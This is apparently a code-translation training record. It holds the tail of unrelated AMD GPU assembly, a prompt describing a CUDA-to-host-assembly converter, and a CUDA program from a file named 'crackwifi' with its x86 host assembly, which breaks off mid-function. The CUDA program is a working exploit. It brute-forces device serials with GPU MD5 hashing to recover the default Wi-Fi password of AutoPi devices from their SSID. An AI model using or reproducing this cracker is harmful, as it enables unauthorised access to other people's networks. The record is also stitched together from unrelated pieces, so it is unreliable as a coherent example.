v_add_nc_u32_e32 v2, 0xffffff9f, v2
s_cbranch_vccz .LBB0_10
v_mul_lo_u32 v3, v7, 0x2a4
v_mul_lo_u32 v4, v5, 26
s_mov_b32 s0, 0
s_delay_alu instid0(VALU_DEP_1)
v_add3_u32 v3, v4, v3, v2
s_branch .LBB0_11
.LBB0_10:
s_mov_b32 s0, -1
.LBB0_11:
v_mov_b32_e32 v10, v5
s_and_not1_b32 vcc_lo, exec_lo, s0
s_cbranch_vccnz .LBB0_7
v_mad_u64_u32 v[3:4], null, v7, 26, v[2:3]
v_mov_b32_e32 v10, v2
v_mov_b32_e32 v2, v5
s_branch .LBB0_7
.LBB0_13:
s_set_inst_prefetch_distance 0x2
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z19findGraphemsWithGPUPKcPiiib
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 11
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z19findGraphemsWithGPUPKcPiiib, .Lfunc_end0-_Z19findGraphemsWithGPUPKcPiiib
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
- .offset: 24
.size: 1
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z19findGraphemsWithGPUPKcPiiib
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z19findGraphemsWithGPUPKcPiiib.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 11
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | /* MD5
Original algorithm by RSA Data Security, Inc
Adapted for NVIDIA CUDA by Matthew McClaskey
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
const unsigned int S11 = 7;
const unsigned int S12 = 12;
const unsigned int S13 = 17;
const unsigned int S14 = 22;
const unsigned int S21 = 5;
const unsigned int S22 = 9;
const unsigned int S23 = 14;
const unsigned int S24 = 20;
const unsigned int S31 = 4;
const unsigned int S32 = 11;
const unsigned int S33 = 16;
const unsigned int S34 = 23;
const unsigned int S41 = 6;
const unsigned int S42 = 10;
const unsigned int S43 = 15;
const unsigned int S44 = 21;
#define TRUE 1
#define FALSE 0
__device__ const unsigned int charLen = 8;
__device__ const unsigned int pwdbitlen = 136; // number of bits in plain text
__device__ const unsigned char hexLookup[] = "0123456789abcdef";
/* F, G, H and I are basic MD5 functions */
__device__ inline unsigned int F(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (y)) | ((~x) & (z))); }
__device__ inline unsigned int G(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (z)) | ((y) & (~z))); }
__device__ inline unsigned int H(unsigned int x, unsigned int y, unsigned int z) { return ((x) ^ (y) ^ (z)); }
__device__ inline unsigned int I(unsigned int x, unsigned int y, unsigned int z) { return ((y) ^ ((x) | (~z))); }
/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* Rotation is separate from addition to prevent recomputation */
__device__ inline void FF(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + F(b, c, d) + x + ac, s) + b;
}
__device__ inline void GG(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + G(b, c, d) + x + ac, s) + b;
}
__device__ inline void HH(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + H(b ,c ,d) + x + ac, s) + b;
}
__device__ inline void II(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + I(b, c, d) + x + ac, s) + b;
}
__device__ void setSerial(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 16; j+=4, i++) {
for (unsigned int k = 0; k < 4; k++) {
output[j + k] = (unsigned char) ((input[i] >> 8*k) & 0xff);
}
}
}
__device__ void setHash(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 32; j+=8, i++) {
for (unsigned int k = 0; k < 8; k+=2) {
output[j + k + 1] = hexLookup[((input[i] >> 4*k+0) & 0xf)];
output[j + k + 0] = hexLookup[((input[i] >> 4*k+4) & 0xf)];
}
}
}
__global__ void findMatch(unsigned int* ssid, unsigned int* found, char* serialResult, char* hashResult) {
unsigned int a, b, c, d;
unsigned int serial[5];
for (int i = 0; i < sizeof(serial)/sizeof(serial[0]); i++) {
serial[i] = 0;
}
/*
Set up serial number in format: "00000000xyzrsijk" + "\n"
(md5 uses little endian => "00000000rzyxkjis")
Where chars...:
x, y & z are taken from the blockId.
r & s are taken from the threadId.
i, j & k are produced in the three nested loops underneath.
The serial is stored in a int array:
serial[0] == '0000'
serial[1] == '0000'
serial[2] == 'xyzr'
serial[3] == 'sijk'
serial[4] == ' d\n' // d = 1 bit delimiter used by the md5 algorithm
*/
for (int i = 0; i < 4; i++) {
serial[0] += hexLookup[0] << charLen*i;
}
serial[1] = serial[0];
serial[2] += hexLookup[(blockIdx.x & 0xf00) >> 8] << charLen*3; // serial[2] = 'x '
serial[2] += hexLookup[(blockIdx.x & 0x0f0) >> 4] << charLen*2; // serial[2] = 'xy '
serial[2] += hexLookup[(blockIdx.x & 0x00f)] << charLen*1; // serial[2] = 'xyz '
serial[2] += hexLookup[(threadIdx.x & 0xf0) >> 4] << charLen*0; // serial[2] = 'xyzr'
serial[3] += hexLookup[(threadIdx.x & 0x0f)] << charLen*3; // serial[3] = 't '
serial[4] += 10 << charLen*0; // serial[4] = ' \n'
serial[4] += 128 << charLen*1; // serial[4] = ' d\n'
// ASCII 0(48) -> 9(57) & a(97) -> f(102)
for (unsigned int i = 48; i <= 102; i++) {
serial[3] &= ~(0xff << charLen*2); // erase last loops value
serial[3] += (i << charLen*2); // serial[3] = 'ti '
for (unsigned int j = 48; j <= 102; j++) {
serial[3] &= ~(0xff << charLen*1); // erase last loops value
serial[3] += (j << charLen*1); // serial[3] = 'tij '
for (unsigned int k = 48; k <= 102; k++) {
serial[3] &= ~(0xff << charLen*0); // erase last loops value
serial[3] += (k << charLen*0); // serial[3] = 'tijk'
//load magic numbers
a = 0x67452301;
b = 0xefcdab89;
c = 0x98badcfe;
d = 0x10325476;
// Round 1
FF ( a, b, c, d, serial[0], S11, 0xd76aa478); // 1
FF ( d, a, b, c, serial[1], S12, 0xe8c7b756); // 2
FF ( c, d, a, b, serial[2], S13, 0x242070db); // 3
FF ( b, c, d, a, serial[3], S14, 0xc1bdceee); // 4
FF ( a, b, c, d, serial[4], S11, 0xf57c0faf); // 5
FF ( d, a, b, c, 0, S12, 0x4787c62a); // 6
FF ( c, d, a, b, 0, S13, 0xa8304613); // 7
FF ( b, c, d, a, 0, S14, 0xfd469501); // 8
FF ( a, b, c, d, 0, S11, 0x698098d8); // 9
FF ( d, a, b, c, 0, S12, 0x8b44f7af); // 10
FF ( c, d, a, b, 0, S13, 0xffff5bb1); // 11
FF ( b, c, d, a, 0, S14, 0x895cd7be); // 12
FF ( a, b, c, d, 0, S11, 0x6b901122); // 13
FF ( d, a, b, c, 0, S12, 0xfd987193); // 14
FF ( c, d, a, b, pwdbitlen, S13, 0xa679438e); // 15
FF ( b, c, d, a, 0, S14, 0x49b40821); //
// Round 2
GG (a, b, c, d, serial[1], S21, 0xf61e2562); // 17
GG (d, a, b, c, 0, S22, 0xc040b340); // 18
GG (c, d, a, b, 0, S23, 0x265e5a51); // 19
GG (b, c, d, a, serial[0], S24, 0xe9b6c7aa); // 20
GG (a, b, c, d, 0, S21, 0xd62f105d); // 21
GG (d, a, b, c, 0, S22, 0x2441453); // 22
GG (c, d, a, b, 0, S23, 0xd8a1e681); // 23
GG (b, c, d, a, serial[4], S24, 0xe7d3fbc8); // 24
GG (a, b, c, d, 0, S21, 0x21e1cde6); // 25
GG (d, a, b, c, pwdbitlen, S22, 0xc33707d6); // 26
GG (c, d, a, b, serial[3], S23, 0xf4d50d87); // 27
GG (b, c, d, a, 0, S24, 0x455a14ed); // 28
GG (a, b, c, d, 0, S21, 0xa9e3e905); // 29
GG (d, a, b, c, serial[2], S22, 0xfcefa3f8); // 30
GG (c, d, a, b, 0, S23, 0x676f02d9); // 31
GG (b, c, d, a, 0, S24, 0x8d2a4c8a); // 32
// Round 3
HH (a, b, c, d, 0, S31, 0xfffa3942); // 33
HH (d, a, b, c, 0, S32, 0x8771f681); // 34
HH (c, d, a, b, 0, S33, 0x6d9d6122); // 35
HH (b, c, d, a, pwdbitlen, S34, 0xfde5380c); // 36
HH (a, b, c, d, serial[1], S31, 0xa4beea44); // 37
HH (d, a, b, c, serial[4], S32, 0x4bdecfa9); // 38
HH (c, d, a, b, 0, S33, 0xf6bb4b60); // 39
HH (b, c, d, a, 0, S34, 0xbebfbc70); // 40
HH (a, b, c, d, 0, S31, 0x289b7ec6); // 41
HH (d, a, b, c, serial[0], S32, 0xeaa127fa); // 42
HH (c, d, a, b, serial[3], S33, 0xd4ef3085); // 43
HH (b, c, d, a, 0, S34, 0x4881d05); // 44
HH (a, b, c, d, 0, S31, 0xd9d4d039); // 45
HH (d, a, b, c, 0, S32, 0xe6db99e5); // 46
HH (c, d, a, b, 0, S33, 0x1fa27cf8); // 47
HH (b, c, d, a, serial[2], S34, 0xc4ac5665); // 48
// Round 4
II (a, b, c, d, serial[0], S41, 0xf4292244); // 49
II (d, a, b, c, 0, S42, 0x432aff97); // 50
II (c, d, a, b, pwdbitlen, S43, 0xab9423a7); // 51
II (b, c, d, a, 0, S44, 0xfc93a039); // 52
II (a, b, c, d, 0, S41, 0x655b59c3); // 53
II (d, a, b, c, serial[3], S42, 0x8f0ccc92); // 54
II (c, d, a, b, 0, S43, 0xffeff47d); // 55
II (b, c, d, a, serial[1], S44, 0x85845dd1); // 56
II (a, b, c, d, 0, S41, 0x6fa87e4f); // 57
II (d, a, b, c, 0, S42, 0xfe2ce6e0); // 58
II (c, d, a, b, 0, S43, 0xa3014314); // 59
II (b, c, d, a, 0, S44, 0x4e0811a1); // 60
II (a, b, c, d, serial[4], S41, 0xf7537e82); // 61
II (d, a, b, c, 0, S42, 0xbd3af235); // 62
II (c, d, a, b, serial[2], S43, 0x2ad7d2bb); // 63
II (b, c, d, a, 0, S44, 0xeb86d391); // 64
a += 0x67452301;
b += 0xefcdab89;
c += 0x98badcfe;
d += 0x10325476;
if (((c >> charLen*2) & 0xffff) == ((ssid[0] >> charLen*2) & 0xffff) && d == ssid[1]) {
unsigned int hash[] = {a, b, c, d};
*found = TRUE;
setSerial(serialResult, serial);
setHash(hashResult, hash);
return;
}
if (k == 57)
k = 96; // values will be incremented to 97 at the end of their loops
}
if (j == 57)
j = 96;
}
if (i == 57)
i = 96;
}
}
void usage(char *argv[]) {
printf("%-7s %s %s\n", "Usage:", argv[0], "<12 hex SSID>");
exit(0);
}
// Converts the 12 hex char ssid input to arrays of integers in
// little endian which is used by the md5 algorithm.
void ssidToInts(unsigned int result[], char input[]) {
// Pad with zeros to align with multiple of 8.
// Will be masked away when doing compares.
char ssid[17];
snprintf(ssid, sizeof(ssid)/sizeof(ssid[0]), "%s%s", "0000", input);
char tmpResult[9];
tmpResult[8] = 0;
for (int i = 0; i < 16; i+=8) {
for (int j = 0; j < 8; j+=2) {
tmpResult[(j + 1) % 8] = ssid[i + (8 - 1 - j - 0)];
tmpResult[(j + 0) % 8] = ssid[i + (8 - 1 - j - 1)];
}
result[(i + 1) / 8] = strtoul(tmpResult, NULL, 16);
}
}
int main(int argc, char *argv[]) {
if (argc != 2 || strlen(argv[1]) != 12) {
usage(argv);
}
// declare
unsigned int *found, *ssid;
char *serialResult, *hashResult;
const int SERIAL_LENGTH = 16 + 1, HASH_LENGTH = 32 + 1;
// malloc
cudaMallocManaged((void**)&found, sizeof(int));
cudaMallocManaged((void**)&ssid, 2 * sizeof(int));
cudaMallocManaged((void**)&serialResult, SERIAL_LENGTH * sizeof(char));
cudaMallocManaged((void**)&hashResult, HASH_LENGTH * sizeof(char));
// init
*found = FALSE;
ssidToInts(ssid, argv[1]);
serialResult[SERIAL_LENGTH - 1] = 0;
hashResult[HASH_LENGTH - 1] = 0;
findMatch<<<4096, 256>>>(ssid, found, serialResult, hashResult);
cudaDeviceSynchronize();
if (*found) {
char password[13];
strncpy(password, hashResult, 12);
password[12] = 0;
printf("%-10s %s\n", "Serial:", serialResult);
printf("%-10s %s\n", "Hash:", hashResult);
printf("%-10s AutoPi-%s\n", "SSID:", argv[1]);
printf("%-10s %s\n", "Password:", password);
} else {
printf("No match found for SSID %s\n", argv[1]);
}
cudaFree(found);
cudaFree(ssid);
cudaFree(serialResult);
cudaFree(hashResult);
return 0;
} | .file "tmpxft_0014b687_00000000-6_crackwifi.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2072:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2072:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z9setSerialPcPj
.type _Z9setSerialPcPj, @function
_Z9setSerialPcPj:
.LFB2065:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $24, %rsp
.cfi_def_cfa_offset 32
movl $1, 12(%rsp)
movl 12(%rsp), %edi
call exit@PLT
.cfi_endproc
.LFE2065:
.size _Z9setSerialPcPj, .-_Z9setSerialPcPj
.globl _Z7setHashPcPj
.type _Z7setHashPcPj, @function
_Z7setHashPcPj:
.LFB2066:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $24, %rsp
.cfi_def_cfa_offset 32
movl $1, 12(%rsp)
movl 12(%rsp), %edi
call exit@PLT
.cfi_endproc
.LFE2066:
.size _Z7setHashPcPj, .-_Z7setHashPcPj
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "<12 hex SSID>"
.LC1:
.string "Usage:"
.LC2:
.string "%-7s %s %s\n"
.text
.globl _Z5usagePPc
.type _Z5usagePPc, @function
_Z5usagePPc:
.LFB2067:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $8, %rsp
.cfi_def_cfa_offset 16
movq (%rdi), %rcx
leaq .LC0(%rip), %r8
leaq .LC1(%rip), %rdx
leaq .LC2(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %edi
call exit@PLT
.cfi_endproc
.LFE2067:
.size _Z5usagePPc, .-_Z5usagePPc
.section .rodata.str1.1
.LC3:
.string "0000"
.LC4:
.string "%s%s"
.text
.globl _Z10ssidToIntsPjPc
.type _Z10ssidToIntsPjPc, @function
_Z10ssidToIntsPjPc:
.LFB2068:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
pushq %rbx
.cfi_def_cfa_offset 24
.cfi_offset 3, -24
subq $56, %rsp
.cfi_def_cfa_offset 80
movq %rdi, %rbx
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
leaq 16(%rsp), %rdi
subq $8, %rsp
.cfi_def_cfa_offset 88
pushq %rsi
.cfi_def_cfa_offset 96
leaq .LC3(%rip), %r9
leaq .LC4(%rip), %r8
movl $17, %ecx
movl $2, %edx
movl $17, %esi
call __snprintf_chk@PLT
movb $0, 31(%rsp)
movzbl 39(%rsp), %eax
movb %al, 24(%rsp)
movzbl 38(%rsp), %eax
movb %al, 23(%rsp)
movzbl 37(%rsp), %eax
movb %al, 26(%rsp)
movzbl 36(%rsp), %eax
movb %al, 25(%rsp)
movzbl 35(%rsp), %eax
movb %al, 28(%rsp)
movzbl 34(%rsp), %eax
movb %al, 27(%rsp)
movzbl 33(%rsp), %eax
movb %al, 30(%rsp)
movzbl 32(%rsp), %eax
movb %al, 29(%rsp)
leaq 23(%rsp), %rbp
movl $16, %edx
movl $0, %esi
movq %rbp, %rdi
call __isoc23_strtoul@PLT
movl %eax, (%rbx)
movzbl 47(%rsp), %eax
movb %al, 24(%rsp)
movzbl 46(%rsp), %eax
movb %al, 23(%rsp)
movzbl 45(%rsp), %eax
movb %al, 26(%rsp)
movzbl 44(%rsp), %eax
movb %al, 25(%rsp)
movzbl 43(%rsp), %eax
movb %al, 28(%rsp)
movzbl 42(%rsp), %eax
movb %al, 27(%rsp)
movzbl 41(%rsp), %eax
movb %al, 30(%rsp)
movzbl 40(%rsp), %eax
movb %al, 29(%rsp)
movl $16, %edx
movl $0, %esi
movq %rbp, %rdi
call __isoc23_strtoul@PLT
movl %eax, 4(%rbx)
addq $16, %rsp
.cfi_def_cfa_offset 80
movq 40(%rsp), %rax
subq %fs:40, %rax
jne .L12
addq $56, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 24
popq %rbx
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
ret
.L12:
.cfi_restore_state
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2068:
.size _Z10ssidToIntsPjPc, .-_Z10ssidToIntsPjPc
.globl _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
.type _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_, @function
_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_:
.LFB2094:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movq %rcx, (%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
movq %rsp, %rax
movq %rax, 120(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L17
.L13:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L18
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L17:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z9findMatchPjS_PcS0_(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L13
.L18:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2094:
.size _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_, .-_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
.globl _Z9findMatchPjS_PcS0_
.type _Z9findMatchPjS_PcS0_, @function
_Z9findMatchPjS_PcS0_:
.LFB2095:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2095:
.size _Z9findMatchPjS_PcS0_, .-_Z9findMatchPjS_PcS0_
.section .rodata.str1.1
.LC5:
.string "Serial:"
.LC6:
.string "%-10s %s\n"
.LC7:
.string "Hash:"
.LC8:
.string "SSID:"
.LC9:
.string "%-10s AutoPi-%s\n"
.LC10:
.string "Password:"
.LC11:
.string "No match found for SSID %s\n"
.text
.globl main
.type main, @function
main:
.LFB2069:
.cfi_startproc
endbr64
pushq %r12
.cfi_def_cfa_offset 16
.cfi_offset 12, -16
pushq %rbp
.cfi_def_cfa_offset 24
.cfi_offset 6, -24
pushq %rbx
.cfi_def_cfa_offset 32
.cfi_offset 3, -32
subq $80, %rsp
.cfi_def_cfa_offset 112
movq %rsi, %rbx
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
cmpl $2, %edi
jne .L22
movq 8(%rsi), %rdi
call strlen@PLT
cmpq $12, %rax
jne .L22
movq %rsp, %rdi
movl $1, %edx
movl $4, %esi
call cudaMallocManaged@PLT
leaq 8(%rsp), %rdi
movl $1, %edx
movl $8, %esi
call cudaMallocManaged@PLT
leaq 16(%rsp), %rdi
movl $1, %edx
movl $17, %esi
call cudaMallocManaged@PLT
leaq 24(%rsp), %rdi
movl $1, %edx
movl $33, %esi
call cudaMallocManaged@PLT
movq (%rsp), %rax
movl $0, (%rax)
movq 8(%rbx), %rsi
movq 8(%rsp), %rdi
call _Z10ssidToIntsPjPc
movq 16(%rsp), %rax
movb $0, 16(%rax)
movq 24(%rsp), %rax
movb $0, 32(%rax)
movl $256, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $4096, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 44(%rsp), %rdx
movl $1, %ecx
movq 32(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L30
.L25:
call cudaDeviceSynchronize@PLT
movq (%rsp), %rax
cmpl $0, (%rax)
je .L26
leaq 59(%rsp), %r12
movl $12, %edx
movq 24(%rsp), %rsi
movq %r12, %rdi
call strncpy@PLT
movb $0, 71(%rsp)
movq 16(%rsp), %rcx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rbp
movq %rbp, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq 24(%rsp), %rcx
leaq .LC7(%rip), %rdx
movq %rbp, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq 8(%rbx), %rcx
leaq .LC8(%rip), %rdx
leaq .LC9(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %r12, %rcx
leaq .LC10(%rip), %rdx
movq %rbp, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
.L27:
movq (%rsp), %rdi
call cudaFree@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movq 16(%rsp), %rdi
call cudaFree@PLT
movq 24(%rsp), %rdi
call cudaFree@PLT
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L31
movl $0, %eax
addq $80, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 32
popq %rbx
.cfi_def_cfa_offset 24
popq %rbp
.cfi_def_cfa_offset 16
popq %r12
.cfi_def_cfa_offset 8
ret
.L22:
.cfi_restore_state
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L32
movq %rbx, %rdi
call _Z5usagePPc
.L32:
call __stack_chk_fail@PLT
.L30:
movq 24(%rsp), %rcx
movq 16(%rsp), %rdx
movq (%rsp), %rsi
movq 8(%rsp), %rdi
call _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
jmp .L25
.L26:
movq 8(%rbx), %rdx
leaq .LC11(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
jmp .L27
.L31:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2069:
.size main, .-main
.section .rodata.str1.1
.LC12:
.string "_Z9findMatchPjS_PcS0_"
.LC13:
.string "charLen"
.LC14:
.string "pwdbitlen"
.LC15:
.string "hexLookup"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2097:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rbx
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC12(%rip), %rdx
movq %rdx, %rcx
leaq _Z9findMatchPjS_PcS0_(%rip), %rsi
movq %rax, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
movl $4, %r9d
movl $0, %r8d
leaq .LC13(%rip), %rdx
movq %rdx, %rcx
leaq _ZL7charLen(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterVar@PLT
addq $16, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
movl $4, %r9d
movl $0, %r8d
leaq .LC14(%rip), %rdx
movq %rdx, %rcx
leaq _ZL9pwdbitlen(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterVar@PLT
addq $16, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
movl $17, %r9d
movl $0, %r8d
leaq .LC15(%rip), %rdx
movq %rdx, %rcx
leaq _ZL9hexLookup(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterVar@PLT
addq $16, %rsp
.cfi_def_cfa_offset 16
